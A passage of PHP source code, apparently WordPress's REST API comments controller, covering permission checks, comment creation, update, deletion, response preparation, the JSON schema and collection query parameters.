'status' => 404 ) ); } } return $comment; } /** * Checks if a given request has access to read the comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, error object otherwise. */ public function get_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } $post = get_post( $comment->comment_post_ID ); if ( ! $this->check_read_permission( $comment, $request ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Retrieves a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $data = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $data ); return $response; } /** * Checks if a given request has access to create a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, error object otherwise. */ public function create_item_permissions_check( $request ) { if ( ! is_user_logged_in() ) { if ( get_option( 'comment_registration' ) ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } /** * Filters whether comments can be created via the REST API without authentication. * * Enables creating comments for anonymous users. * * @since 4.7.0 * * @param bool $allow_anonymous Whether to allow anonymous comments to * be created. Default `false`. * @param WP_REST_Request $request Request used to generate the * response. */ $allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request ); if ( ! $allow_anonymous ) { return new WP_Error( 'rest_comment_login_required', __( 'Sorry, you must be logged in to comment.' ), array( 'status' => 401 ) ); } } // Limit who can set comment `author`, `author_ip` or `status` to anything other than the default. if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_comment_invalid_author', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ), array( 'status' => rest_authorization_required_code() ) ); } if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) { if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) { return new WP_Error( 'rest_comment_invalid_author_ip', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ), array( 'status' => rest_authorization_required_code() ) ); } } if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_comment_invalid_status', /* translators: %s: Request parameter. */ sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ), array( 'status' => rest_authorization_required_code() ) ); } if ( empty( $request['post'] ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } $post = get_post( (int) $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Sorry, you are not allowed to create this comment without a post.' ), array( 'status' => 403 ) ); } if ( 'draft' === $post->post_status ) { return new WP_Error( 'rest_comment_draft_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( 'trash' === $post->post_status ) { return new WP_Error( 'rest_comment_trash_post', __( 'Sorry, you are not allowed to create a comment on this post.' ), array( 'status' => 403 ) ); } if ( ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! comments_open( $post->ID ) ) { return new WP_Error( 'rest_comment_closed', __( 'Sorry, comments are closed for this item.' ), array( 'status' => 403 ) ); } return true; } /** * Creates a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function create_item( $request ) { if ( ! empty( $request['id'] ) ) { return new WP_Error( 'rest_comment_exists', __( 'Cannot create existing comment.' ), array( 'status' => 400 ) ); } // Do not allow comments to be created with a non-default type. if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) { return new WP_Error( 'rest_invalid_comment_type', __( 'Cannot create a comment with that type.' ), array( 'status' => 400 ) ); } $prepared_comment = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $prepared_comment['comment_type'] = 'comment'; if ( ! isset( $prepared_comment['comment_content'] ) ) { $prepared_comment['comment_content'] = ''; } if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } // Setting remaining values before wp_insert_comment so we can use wp_allow_comment(). if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) { $prepared_comment['comment_date_gmt'] = current_time( 'mysql', true ); } // Set author data if the user's logged in. $missing_author = empty( $prepared_comment['user_id'] ) && empty( $prepared_comment['comment_author'] ) && empty( $prepared_comment['comment_author_email'] ) && empty( $prepared_comment['comment_author_url'] ); if ( is_user_logged_in() && $missing_author ) { $user = wp_get_current_user(); $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } // Honor the discussion setting that requires a name and email address of the comment author. if ( get_option( 'require_name_email' ) ) { if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) { return new WP_Error( 'rest_comment_author_data_required', __( 'Creating a comment requires valid author name and email values.' ), array( 'status' => 400 ) ); } } if ( ! isset( $prepared_comment['comment_author_email'] ) ) { $prepared_comment['comment_author_email'] = ''; } if ( ! isset( $prepared_comment['comment_author_url'] ) ) { $prepared_comment['comment_author_url'] = ''; } if ( ! isset( $prepared_comment['comment_agent'] ) ) { $prepared_comment['comment_agent'] = ''; } $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } $prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true ); if ( is_wp_error( $prepared_comment['comment_approved'] ) ) { $error_code = $prepared_comment['comment_approved']->get_error_code(); $error_message = $prepared_comment['comment_approved']->get_error_message(); if ( 'comment_duplicate' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 409 ) ); } if ( 'comment_flood' === $error_code ) { return new WP_Error( $error_code, $error_message, array( 'status' => 400 ) ); } return $prepared_comment['comment_approved']; } /** * Filters a comment before it is inserted via the REST API. * * Allows modification of the comment right before it is inserted via wp_insert_comment(). * Returning a WP_Error value from the filter will short-circuit insertion and allow * skipping further processing. * * @since 4.7.0 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion. * * @param array|WP_Error $prepared_comment The prepared comment data for wp_insert_comment(). * @param WP_REST_Request $request Request used to insert the comment. */ $prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request ); if ( is_wp_error( $prepared_comment ) ) { return $prepared_comment; } $comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) ); if ( ! $comment_id ) { return new WP_Error( 'rest_comment_failed_create', __( 'Creating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $comment_id ); } $comment = get_comment( $comment_id ); /** * Fires after a comment is created or updated via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_insert_comment', $comment, $request, true ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $comment_id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view'; $request->set_param( 'context', $context ); /** * Fires completely after a comment is created or updated via the REST API. * * @since 5.0.0 * * @param WP_Comment $comment Inserted or updated comment object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a comment, false * when updating. */ do_action( 'rest_after_insert_comment', $comment, $request, true ); $response = $this->prepare_item_for_response( $comment, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) ); return $response; } /** * Checks if a given REST request has access to update a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, error object otherwise. */ public function update_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Updates a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function update_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $id = $comment->comment_ID; if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) { return new WP_Error( 'rest_comment_invalid_type', __( 'Sorry, you are not allowed to change the comment type.' ), array( 'status' => 404 ) ); } $prepared_args = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( ! empty( $prepared_args['comment_post_ID'] ) ) { $post = get_post( $prepared_args['comment_post_ID'] ); if ( empty( $post ) ) { return new WP_Error( 'rest_comment_invalid_post_id', __( 'Invalid post ID.' ), array( 'status' => 403 ) ); } } if ( empty( $prepared_args ) && isset( $request['status'] ) ) { // Only the comment status is being changed. $change = $this->handle_status_param( $request['status'], $id ); if ( ! $change ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment status failed.' ), array( 'status' => 500 ) ); } } elseif ( ! empty( $prepared_args ) ) { if ( is_wp_error( $prepared_args ) ) { return $prepared_args; } if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) { return new WP_Error( 'rest_comment_content_invalid', __( 'Invalid comment content.' ), array( 'status' => 400 ) ); } $prepared_args['comment_ID'] = $id; $check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args ); if ( is_wp_error( $check_comment_lengths ) ) { $error_code = $check_comment_lengths->get_error_code(); return new WP_Error( $error_code, __( 'Comment field exceeds maximum length allowed.' ), array( 'status' => 400 ) ); } $updated = wp_update_comment( wp_slash( (array) $prepared_args ), true ); if ( is_wp_error( $updated ) ) { return new WP_Error( 'rest_comment_failed_edit', __( 'Updating comment failed.' ), array( 'status' => 500 ) ); } if ( isset( $request['status'] ) ) { $this->handle_status_param( $request['status'], $id ); } } $comment = get_comment( $id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_insert_comment', $comment, $request, false ); $schema = $this->get_item_schema(); if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) { $meta_update = $this->meta->update_value( $request['meta'], $id ); if ( is_wp_error( $meta_update ) ) { return $meta_update; } } $fields_update = $this->update_additional_fields_for_object( $comment, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */ do_action( 'rest_after_insert_comment', $comment, $request, false ); $response = $this->prepare_item_for_response( $comment, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to delete a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to delete the item, error object otherwise. */ public function delete_item_permissions_check( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } if ( ! $this->check_edit_permission( $comment ) ) { return new WP_Error( 'rest_cannot_delete', __( 'Sorry, you are not allowed to delete this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Deletes a comment. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function delete_item( $request ) { $comment = $this->get_comment( $request['id'] ); if ( is_wp_error( $comment ) ) { return $comment; } $force = isset( $request['force'] ) ? (bool) $request['force'] : false; /** * Filters whether a comment can be trashed via the REST API. * * Return false to disable trash support for the comment. * * @since 4.7.0 * * @param bool $supports_trash Whether the comment supports trashing. * @param WP_Comment $comment The comment object being considered for trashing support. */ $supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment ); $request->set_param( 'context', 'edit' ); if ( $force ) { $previous = $this->prepare_item_for_response( $comment, $request ); $result = wp_delete_comment( $comment->comment_ID, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // If this type doesn't support trashing, error out. if ( ! $supports_trash ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) ); } if ( 'trash' === $comment->comment_approved ) { return new WP_Error( 'rest_already_trashed', __( 'The comment has already been trashed.' ), array( 'status' => 410 ) ); } $result = wp_trash_comment( $comment->comment_ID ); $comment = get_comment( $comment->comment_ID ); $response = $this->prepare_item_for_response( $comment, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The comment cannot be deleted.' ), array( 'status' => 500 ) ); } /** * Fires after a comment is deleted via the REST API. * * @since 4.7.0 * * @param WP_Comment $comment The deleted comment data. * @param WP_REST_Response $response The response returned from the API. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_comment', $comment, $response, $request ); return $response; } /** * Prepares a single comment output for response. * * @since 4.7.0 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Comment $item Comment object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $comment = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( in_array( 'id', $fields, true ) ) { $data['id'] = (int) $comment->comment_ID; } if ( in_array( 'post', $fields, true ) ) { $data['post'] = (int) $comment->comment_post_ID; } if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $comment->comment_parent; } if ( in_array( 'author', $fields, true ) ) { $data['author'] = (int) $comment->user_id; } if ( in_array( 'author_name', $fields, true ) ) { $data['author_name'] = $comment->comment_author; } if ( in_array( 'author_email', $fields, true ) ) { $data['author_email'] = $comment->comment_author_email; } if ( in_array( 'author_url', $fields, true ) ) { $data['author_url'] = $comment->comment_author_url; } if ( in_array( 'author_ip', $fields, true ) ) { $data['author_ip'] = $comment->comment_author_IP; } if ( in_array( 'author_user_agent', $fields, true ) ) { $data['author_user_agent'] = $comment->comment_agent; } if ( in_array( 'date', $fields, true ) ) { $data['date'] = mysql_to_rfc3339( $comment->comment_date ); } if ( in_array( 'date_gmt', $fields, true ) ) { $data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt ); } if ( in_array( 'content', $fields, true ) ) { $data['content'] = array( /** This filter is documented in wp-includes/comment-template.php */ 'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment ), 'raw' => $comment->comment_content, ); } if ( in_array( 'link', $fields, true ) ) { $data['link'] = get_comment_link( $comment ); } if ( in_array( 'status', $fields, true ) ) { $data['status'] = $this->prepare_status_response( $comment->comment_approved ); } if ( in_array( 'type', $fields, true ) ) { $data['type'] = get_comment_type( $comment->comment_ID ); } if ( in_array( 'author_avatar_urls', $fields, true ) ) { $data['author_avatar_urls'] = rest_get_avatar_urls( $comment ); } if ( in_array( 'meta', $fields, true ) ) { $data['meta'] = $this->meta->get_value( $comment->comment_ID, $request ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $comment ) ); /** * Filters a comment returned from the REST API. * * Allows modification of the comment right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Comment $comment The original comment object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_comment', $response, $comment, $request ); } /** * Prepares links for the request. * * @since 4.7.0 * * @param WP_Comment $comment Comment object. * @return array Links for the given comment. */ protected function prepare_links( $comment ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_ID ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); if ( 0 !== (int) $comment->user_id ) { $links['author'] = array( 'href' => rest_url( 'wp/v2/users/' . $comment->user_id ), 'embeddable' => true, ); } if ( 0 !== (int) $comment->comment_post_ID ) { $post = get_post( $comment->comment_post_ID ); $post_route = rest_get_route_for_post( $post ); if ( ! empty( $post->ID ) && $post_route ) { $links['up'] = array( 'href' => rest_url( $post_route ), 'embeddable' => true, 'post_type' => $post->post_type, ); } } if ( 0 !== (int) $comment->comment_parent ) { $links['in-reply-to'] = array( 'href' => rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment->comment_parent ) ), 'embeddable' => true, ); } // Only grab one comment to verify the comment has children. $comment_children = $comment->get_children( array( 'number' => 1, 'count' => true, ) ); if ( ! empty( $comment_children ) ) { $args = array( 'parent' => $comment->comment_ID, ); $rest_url = add_query_arg( $args, rest_url( $this->namespace . '/' . $this->rest_base ) ); $links['children'] = array( 'href' => $rest_url, 'embeddable' => true, ); } return $links; } /** * Prepends internal property prefix to query parameters to match our response fields. * * @since 4.7.0 * * @param string $query_param Query parameter. * @return string The normalized query parameter. */ protected function normalize_query_param( $query_param ) { $prefix = 'comment_'; switch ( $query_param ) { case 'id': $normalized = $prefix . 'ID'; break; case 'post': $normalized = $prefix . 'post_ID'; break; case 'parent': $normalized = $prefix . 'parent'; break; case 'include': $normalized = 'comment__in'; break; default: $normalized = $prefix . $query_param; break; } return $normalized; } /** * Checks comment_approved to set comment status for single comment output. * * @since 4.7.0 * * @param string|int $comment_approved comment status. * @return string Comment status. */ protected function prepare_status_response( $comment_approved ) { switch ( $comment_approved ) { case 'hold': case '0': $status = 'hold'; break; case 'approve': case '1': $status = 'approved'; break; case 'spam': case 'trash': default: $status = $comment_approved; break; } return $status; } /** * Prepares a single comment to be inserted into the database. * * @since 4.7.0 * * @param WP_REST_Request $request Request object. * @return array|WP_Error Prepared comment, otherwise WP_Error object. */ protected function prepare_item_for_database( $request ) { $prepared_comment = array(); /* * Allow the comment_content to be set via the 'content' or * the 'content.raw' properties of the Request object. */ if ( isset( $request['content'] ) && is_string( $request['content'] ) ) { $prepared_comment['comment_content'] = trim( $request['content'] ); } elseif ( isset( $request['content']['raw'] ) && is_string( $request['content']['raw'] ) ) { $prepared_comment['comment_content'] = trim( $request['content']['raw'] ); } if ( isset( $request['post'] ) ) { $prepared_comment['comment_post_ID'] = (int) $request['post']; } if ( isset( $request['parent'] ) ) { $prepared_comment['comment_parent'] = $request['parent']; } if ( isset( $request['author'] ) ) { $user = new WP_User( $request['author'] ); if ( $user->exists() ) { $prepared_comment['user_id'] = $user->ID; $prepared_comment['comment_author'] = $user->display_name; $prepared_comment['comment_author_email'] = $user->user_email; $prepared_comment['comment_author_url'] = $user->user_url; } else { return new WP_Error( 'rest_comment_author_invalid', __( 'Invalid comment author ID.' ), array( 'status' => 400 ) ); } } if ( isset( $request['author_name'] ) ) { $prepared_comment['comment_author'] = $request['author_name']; } if ( isset( $request['author_email'] ) ) { $prepared_comment['comment_author_email'] = $request['author_email']; } if ( isset( $request['author_url'] ) ) { $prepared_comment['comment_author_url'] = $request['author_url']; } if ( isset( $request['author_ip'] ) && current_user_can( 'moderate_comments' ) ) { $prepared_comment['comment_author_IP'] = $request['author_ip']; } elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) && rest_is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) { $prepared_comment['comment_author_IP'] = $_SERVER['REMOTE_ADDR']; } else { $prepared_comment['comment_author_IP'] = '127.0.0.1'; } if ( ! empty( $request['author_user_agent'] ) ) { $prepared_comment['comment_agent'] = $request['author_user_agent']; } elseif ( $request->get_header( 'user_agent' ) ) { $prepared_comment['comment_agent'] = $request->get_header( 'user_agent' ); } if ( ! empty( $request['date'] ) ) { $date_data = rest_get_date_with_gmt( $request['date'] ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } elseif ( ! empty( $request['date_gmt'] ) ) { $date_data = rest_get_date_with_gmt( $request['date_gmt'], true ); if ( ! empty( $date_data ) ) { list( $prepared_comment['comment_date'], $prepared_comment['comment_date_gmt'] ) = $date_data; } } /** * Filters a comment added via the REST API after it is prepared for insertion into the database. * * Allows modification of the comment right after it is prepared for the database. * * @since 4.7.0 * * @param array $prepared_comment The prepared comment data for `wp_insert_comment`. * @param WP_REST_Request $request The current request. */ return apply_filters( 'rest_preprocess_comment', $prepared_comment, $request ); } /** * Retrieves the comment's schema, conforming to JSON Schema. * * @since 4.7.0 * * @return array */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'comment', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'author' => array( 'description' => __( 'The ID of the user object, if author was a user.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_email' => array( 'description' => __( 'Email address for the comment author.' ), 'type' => 'string', 'format' => 'email', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => array( $this, 'check_comment_author_email' ), 'validate_callback' => null, // Skip built-in validation of 'email'. ), ), 'author_ip' => array( 'description' => __( 'IP address for the comment author.' ), 'type' => 'string', 'format' => 'ip', 'context' => array( 'edit' ), ), 'author_name' => array( 'description' => __( 'Display name for the comment author.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'author_url' => array( 'description' => __( 'URL for the comment author.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), ), 'author_user_agent' => array( 'description' => __( 'User agent for the comment author.' ), 'type' => 'string', 'context' => array( 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'content' => array( 'description' => __( 'The content for the comment.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'arg_options' => array( 'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database(). 'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database(). ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the comment, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'rendered' => array( 'description' => __( 'HTML content for the comment, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), 'date' => array( 'description' => __( "The date the comment was published, in the site's timezone." ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit', 'embed' ), ), 'date_gmt' => array( 'description' => __( 'The date the comment was published, as GMT.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view', 'edit' ), ), 'link' => array( 'description' => __( 'URL to the comment.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'The ID for the parent of the comment.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'default' => 0, ), 'post' => array( 'description' => __( 'The ID of the associated post object.' ), 'type' => 'integer', 'context' => array( 'view', 'edit' ), 'default' => 0, ), 'status' => array( 'description' => __( 'State of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'arg_options' => array( 'sanitize_callback' => 'sanitize_key', ), ), 'type' => array( 'description' => __( 'Type of the comment.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ); if ( get_option( 'show_avatars' ) ) { $avatar_properties = array(); $avatar_sizes = rest_get_avatar_sizes(); foreach ( $avatar_sizes as $size ) { $avatar_properties[ $size ] = array( /* translators: %d: Avatar image size in pixels. */ 'description' => sprintf( __( 'Avatar URL with image size of %d pixels.' ), $size ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'embed', 'view', 'edit' ), ); } $schema['properties']['author_avatar_urls'] = array( 'description' => __( 'Avatar URLs for the comment author.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, 'properties' => $avatar_properties, ); } $schema['properties']['meta'] = $this->meta->get_field_schema(); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Comments collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['after'] = array( 'description' => __( 'Limit response to comments published after a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['author'] = array( 'description' => __( 'Limit result set to comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_exclude'] = array( 'description' => __( 'Ensure result set excludes comments assigned to specific user IDs. Requires authorization.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['author_email'] = array( 'default' => null, 'description' => __( 'Limit result set to that from a specific author email. Requires authorization.' ), 'format' => 'email', 'type' => 'string', ); $query_params['before'] = array( 'description' => __( 'Limit response to comments published before a given ISO8601 compliant date.' ), 'type' => 'string', 'format' => 'date-time', ); $query_params['exclude'] = array( 'description' => __( 'Ensure result set excludes specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['include'] = array( 'description' => __( 'Limit result set to specific IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc', ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by comment attribute.' ), 'type' => 'string', 'default' => 'date_gmt', 'enum' => array( 'date', 'date_gmt', 'id', 'include', 'post', 'parent', 'type', ), ); $query_params['parent'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments of specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['parent_exclude'] = array( 'default' => array(), 'description' => __( 'Ensure result set excludes specific parent IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['post'] = array( 'default' => array(), 'description' => __( 'Limit result set to comments assigned to specific post IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ); $query_params['status'] = array( 'default' => 'approve', 'description' => __( 'Limit result set to comments assigned a specific status. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['type'] = array( 'default' => 'comment', 'description' => __( 'Limit result set to comments assigned a specific type. Requires authorization.' ), 'sanitize_callback' => 'sanitize_key', 'type' => 'string', 'validate_callback' => 'rest_validate_request_arg', ); $query_params['password'] = array( 'description' => __( 'The password for the post if it is password protected.' ), 'type' => 'string', ); /** * Filters REST API collection parameters for the comments controller. * * This filter registers the collection parameter, but does not map the * collection parameter to an internal WP_Comment_Query parameter. Use the * `rest_comment_query` filter to set WP_Comment_Query parameters. * * @since 4.7.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_comment_collection_params', $query_params ); } /** * Sets the comment_status of a given comment object when creating or updating a comment. * * @since 4.7.0 * * @param string|int $new_status New comment status. * @param int $comment_id Comment ID. * @return bool Whether the status was changed. */ protected function handle_status_param( $new_status, $comment_id ) { $old_status = wp_get_comment_status( $comment_id ); if ( $new_status === $old_status ) { return false; } switch ( $new_status ) { case 'approved': case 'approve': case '1': $changed = wp_set_comment_status( $comment_id, 'approve' ); break; case 'hold': case '0': $changed = wp_set_comment_status( $comment_id, 'hold' ); break; case 'spam': $changed = wp_spam_comment( $comment_id ); break; case 'unspam': $changed = wp_unspam_comment( $comment_id ); break; case 'trash': $changed = wp_trash_comment( $comment_id ); break; case 'untrash': $changed = wp_untrash_comment( $comment_id ); break; default: $changed = false; break; } return $changed; } /** * Checks if the post can be read. * * Correctly handles posts with the inherit status. * * @since 4.7.0 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Request data to check. * @return bool Whether post can be read. */ 